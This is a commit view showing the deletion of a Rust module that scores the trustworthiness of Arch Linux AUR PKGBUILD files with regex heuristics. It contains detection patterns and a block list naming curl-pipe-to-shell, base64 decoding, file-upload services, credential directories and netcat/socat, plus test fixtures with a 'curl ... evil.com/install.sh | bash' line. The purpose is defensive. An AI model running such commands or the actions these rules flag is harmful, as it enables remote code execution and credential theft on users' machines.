fix: PKGBUILD vereinfacht - Git-Source statt Release-TAR
Rust CI / Test (push) Failing after 2s
Rust CI / Release (x86_64-unknown-linux-gnu) (push) Has been skipped
Rust CI / Release (x86_64-unknown-linux-musl) (push) Has been skipped

- libalpm Abhängigkeit entfernt (im pacman enthalten)
- Lokale Git-Quelle für makepkg
- makepkg -si funktioniert jetzt
- Version 0.1.0-1 erfolgreich installiert
This commit is contained in:
Thuumate 👻
2026-06-15 18:01:11 +02:00
parent afc5db8d76
commit 8fc2453c45
41 changed files with 3818 additions and 1702 deletions
-401
View File
@@ -1,401 +0,0 @@
use anyhow::{Context, Result};
use regex::Regex;
use std::collections::HashSet;
use std::path::Path;
use tracing::{debug, trace, warn};
/// Score-Kategorien für das Trust-Rating
#[derive(Debug, Clone)]
pub struct TrustScore {
pub overall: u32, // 0-100 (100 = vertrauenswürdig)
pub categories: Vec<ScoreCategory>,
pub warnings: Vec<String>,
pub critical_findings: Vec<CriticalFinding>,
}
#[derive(Debug, Clone)]
pub struct ScoreCategory {
pub name: String,
pub score: u32, // 0-100
pub weight: f32,
pub description: String,
}
#[derive(Debug, Clone)]
pub enum CriticalFinding {
RemoteCodeExecution(String), // Befehl der gefunden wurde
CredentialExfiltration(String),
PersistenceMechanism(String),
ObfuscatedScript(String),
SuspiciousNetworkCall(String),
OrphanTakeover { original: String, new_maintainer: String },
}
/// Konfiguration für Heuristiken
pub struct TrustScorer {
suspicious_patterns: Vec<SuspiciousPattern>,
trusted_domains: HashSet<String>,
blocklisted_commands: Vec<Regex>,
}
struct SuspiciousPattern {
pattern: Regex,
penalty: u32,
description: String,
critical: bool,
}
impl TrustScorer {
pub fn new() -> Result<Self> {
let mut scorer = TrustScorer {
suspicious_patterns: Vec::new(),
trusted_domains: Self::default_trusted_domains(),
blocklisted_commands: Vec::new(),
};
scorer.compile_patterns()?;
Ok(scorer)
}
fn compile_patterns(&mut self) -> Result<()> {
// KRITISCHE PATTERNS (sofortiger Alarm)
let critical_patterns = vec![
// npm/bun install mit verdächtigen Paketen
(r"(?i)(npm|bun)\s+install\s+.*(atomic|lockfile|digest|js-|crypto|steal|exfil)", 100, "Verdächtiges npm/bun install", true),
// Download + Ausführen
(r"(?i)(curl|wget).*\|\s*(bash|sh|eval|exec)\b", 100, "Download und direktes Ausführen", true),
(r"(?i)(curl|wget).*\>.*\.\w+\s*;\s*chmod.*\+x", 100, "Download, speichern, executable machen", true),
// Obfuscation
(r"(?i)base64\s+-d\s*\|", 90, "Base64 Dekodierung in Pipe", true),
(r"(?i)eval\s*\$", 90, "Eval mit Variablen", true),
(r"(?i)\$\(.*\b(curl|wget|fetch)\b.*\)", 80, "Kommandosubstitution mit Download", true),
// Netzwerk-Exfiltration
(r"(?i)(temp\.sh|transfer\.sh|0x0\.st|termbin\.com)", 95, "Verdächtiger Upload-Service", true),
// System-Persistenz
(r"(?i)systemctl\s+(enable|start|restart).*\.(service|timer)", 70, "Systemd-Service Manipulation", false),
(r"(?i)mkdir\s+-p\s+/var/lib/.*\s*\&\&\s*cp", 80, "Dateien unter /var/lib ablegen", false),
// Browser/Credential-Zugriff
(r"(?i)(\.mozilla|\.config/google-chrome|\.config/chromium|\.ssh|gnupg)", 60, "Zugriff auf sensitive Verzeichnisse", false),
// eBPF
(r"(?i)bpf\(|bpf_syscall|libbpf|bcc", 85, "eBPF Code erkannt", false),
];
for (pattern, penalty, desc, critical) in critical_patterns {
let regex = Regex::new(pattern)
.with_context(|| format!("Konnte Pattern '{}' nicht kompilieren", pattern))?;
self.suspicious_patterns.push(SuspiciousPattern {
pattern: regex,
penalty,
description: desc.to_string(),
critical,
});
}
// Blockliste von Kommandos (soweit Regex-technisch möglich)
self.blocklisted_commands = vec![
Regex::new(r"(?i)\b(nc|netcat|ncat|socat)\b").unwrap(),
Regex::new(r"(?i)\b(rev|ruby|perl|python|python3)\s+-c\b").unwrap(),
];
Ok(())
}
fn default_trusted_domains() -> HashSet<String> {
let mut domains = HashSet::new();
domains.insert("github.com".to_string());
domains.insert("gitlab.com".to_string());
domains.insert("salsa.debian.org".to_string());
domains.insert("codeberg.org".to_string());
domains.insert("sourceforge.net".to_string());
domains.insert("kernel.org".to_string());
domains.insert("gnu.org".to_string());
domains.insert("apache.org".to_string());
domains.insert("mozilla.org".to_string());
domains.insert("npmjs.com".to_string()); // Achtung: npmjs ist auch missbraucht worden
domains.insert("crates.io".to_string());
domains.insert("pypi.org".to_string());
domains.insert("archlinux.org".to_string());
domains
}
/// Analysiert einen PKGBUILD-Inhalt
pub fn analyze_pkgbuild(&self, content: &str, source_url: Option<&str>) -> TrustScore {
let mut score = 100u32;
let mut categories = Vec::new();
let mut warnings = Vec::new();
let mut critical_findings = Vec::new();
// 1. Shell-Script Analyse (PKGBUILD ist ein Shell-Script)
let (shell_score, shell_warnings, shell_critical) = self.analyze_shell_script(content);
categories.push(ScoreCategory {
name: "Shell-Script Sicherheit".to_string(),
score: shell_score,
weight: 0.40,
description: "Analyse von PKGBUILD als Shell-Script".to_string(),
});
warnings.extend(shell_warnings);
critical_findings.extend(shell_critical);
score = score.saturating_sub(100 - shell_score);
// 2. Source-URL Verifizierung
let (url_score, url_warnings) = self.analyze_source_url(source_url);
categories.push(ScoreCategory {
name: "Source-URL Vertrauen".to_string(),
score: url_score,
weight: 0.20,
description: "Prüfung der Herkunft des Source-Codes".to_string(),
});
warnings.extend(url_warnings);
score = score.saturating_sub((100 - url_score) / 3);
// 3. Checksum-Qualität
let (checksum_score, checksum_warnings) = self.analyze_checksums(content);
categories.push(ScoreCategory {
name: "Checksum Verifizierung".to_string(),
score: checksum_score,
weight: 0.20,
description: "Qualität und Vollständigkeit der Prüfsummen".to_string(),
});
warnings.extend(checksum_warnings);
score = score.saturating_sub((100 - checksum_score) / 3);
// 4. Maintainer-Heuristiken
let (maint_score, maint_warnings) = self.analyze_maintainer_info(content);
categories.push(ScoreCategory {
name: "Maintainer-Vertrauen".to_string(),
score: maint_score,
weight: 0.20,
description: "Heuristiken zum Maintainer-Account".to_string(),
});
warnings.extend(maint_warnings);
score = score.saturating_sub((100 - maint_score) / 3);
// Gewichteten Score berechnen
let weighted_score: f32 = categories.iter()
.map(|c| c.score as f32 * c.weight)
.sum();
TrustScore {
overall: weighted_score.round() as u32,
categories,
warnings,
critical_findings,
}
}
fn analyze_shell_script(&self, content: &str) -> (u32, Vec<String>, Vec<CriticalFinding>) {
let mut score = 100u32;
let mut warnings = Vec::new();
let mut critical = Vec::new();
for pattern in &self.suspicious_patterns {
if pattern.pattern.is_match(content) {
let captures: Vec<_> = pattern.pattern.find_iter(content).collect();
for cap in captures {
let ctx_start = cap.start().saturating_sub(30);
let ctx_end = (cap.end() + 30).min(content.len());
let context = &content[ctx_start..ctx_end];
let context_clean = context.replace('\n', "\\n");
if pattern.critical {
critical.push(CriticalFinding::RemoteCodeExecution(format!(
"{} (Kontext: ...{}...)",
pattern.description,
context_clean
)));
score = score.saturating_sub(pattern.penalty);
} else {
warnings.push(format!(
"{}: {}",
pattern.description,
context_clean
));
score = score.saturating_sub(pattern.penalty / 2);
}
}
}
}
// Blocklisted Commands
for cmd_regex in &self.blocklisted_commands {
if let Some(mat) = cmd_regex.find(content) {
warnings.push(format!(
"Potentiell gefährlicher Befehl erkannt: {}",
&content[mat.start().saturating_sub(10)..(mat.end() + 10).min(content.len())]
));
score = score.saturating_sub(10);
}
}
// Prozentuale Bewertung
(score.min(100), warnings, critical)
}
fn analyze_source_url(&self, url: Option<&str>) -> (u32, Vec<String>) {
let mut score = 100u32;
let mut warnings = Vec::new();
let url = match url {
Some(u) => u,
None => {
warnings.push("Keine Source-URL gefunden".to_string());
return (50, warnings);
}
};
// HTTPS check
if !url.starts_with("https://") {
warnings.push("Source-URL verwendet kein HTTPS".to_string());
score -= 20;
}
// Domain check
let domain = url.split('/').nth(2).unwrap_or("");
let domain_clean = domain.strip_prefix("www.").unwrap_or(domain);
if !self.trusted_domains.contains(domain_clean) {
warnings.push(format!(
"Domain '{}' ist nicht in der Trust-Liste",
domain_clean
));
score -= 15;
}
// URL Shortener / Pastebin checks
if url.contains("pastebin") || url.contains("tinyurl") || url.contains("bit.ly")
|| url.contains("t.co") || url.contains("short.link") {
warnings.push("URL-Shortener / Pastebin als Source erkannt!".to_string());
score -= 50;
}
(score.max(0), warnings)
}
fn analyze_checksums(&self, content: &str) -> (u32, Vec<String>) {
let mut score = 100u32;
let mut warnings = Vec::new();
// Prüfe auf SHA256/SHA512 (gut)
let has_sha256 = content.contains("sha256sums") || content.contains("sha256");
let has_sha512 = content.contains("sha512sums") || content.contains("sha512");
let has_md5 = content.contains("md5sums") || content.contains("md5");
let has_skip = content.contains("SKIP") || content.contains("skip");
if has_sha256 || has_sha512 {
score += 10;
}
if has_md5 && !has_sha256 && !has_sha512 {
warnings.push("Nur MD5-Checksummen (veraltet und unsicher)".to_string());
score -= 30;
}
if has_skip {
warnings.push("Checksummen werden übersprungen (SKIP)".to_string());
score -= 40;
}
if !has_sha256 && !has_sha512 && !has_md5 && !has_skip {
warnings.push("Keine Checksummen definiert".to_string());
score -= 50;
}
(score.max(0).min(100), warnings)
}
fn analyze_maintainer_info(&self, content: &str) -> (u32, Vec<String>) {
// Baseline: Wir können aus dem PKGBUILD nicht viel über den Maintainer lernen
// In einer erweiterten Version würde dies die AUR-RPC API nutzen
let mut score = 80u32; // Neutral
let mut warnings = Vec::new();
// Prüfe auf "Contributor" vs "Maintainer"
if !content.contains("# Maintainer:") {
if content.contains("# Contributor:") {
warnings.push("Nur Contributor, kein Maintainer definiert".to_string());
score -= 10;
}
}
(score.max(0).min(100), warnings)
}
/// Prüft ein installiertes Paket (Fallback wenn kein PKGBUILD verfügbar)
pub fn check_installed_package(&self, pkg_info: &str) -> TrustScore {
// Minimale Analyse basierend auf pacman -Qi Ausgabe
let mut warnings = Vec::new();
if pkg_info.contains("AUR") || pkg_info.contains("foreign") {
warnings.push("Paket stammt aus AUR (nicht offizielles Repository)".to_string());
}
TrustScore {
overall: 70, // Grundwert für installierte Pakete ohne PKGBUILD
categories: vec![],
warnings,
critical_findings: vec![],
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_npm_install_detection() {
let scorer = TrustScorer::new().unwrap();
let malicious_pkgbuild = r#"
pkgname=test-malicious
pkgver=1.0
pkgrel=1
build() {
npm install atomic-lockfile
}
"#;
let result = scorer.analyze_pkgbuild(malicious_pkgbuild, None);
assert!(!result.critical_findings.is_empty());
assert!(result.overall < 50);
}
#[test]
fn test_curl_pipe_bash_detection() {
let scorer = TrustScorer::new().unwrap();
let bad_pkgbuild = r#"
pkgname=test-bad
pkgver=1.0
prepare() {
curl -s https://evil.com/install.sh | bash
}
"#;
let result = scorer.analyze_pkgbuild(bad_pkgbuild, None);
assert!(!result.critical_findings.is_empty());
}
#[test]
fn test_legitimate_pkgbuild() {
let scorer = TrustScorer::new().unwrap();
let good_pkgbuild = r#"
pkgname=hello
pkgver=2.12
pkgrel=1
source=(https://ftp.gnu.org/gnu/$pkgname/$pkgname-$pkgver.tar.gz)
sha256sums=('cf04e2b7e0d28e6f5e540d130ad5295c079ffdad43e25c489e5e52eb40a2a517')
build() {
cd "$pkgname-$pkgver"
./configure --prefix=/usr
make
}
"#;
let result = scorer.analyze_pkgbuild(good_pkgbuild, Some("https://ftp.gnu.org/gnu/hello/hello-2.12.tar.gz"));
assert!(result.overall > 70);
assert!(result.critical_findings.is_empty());
}
}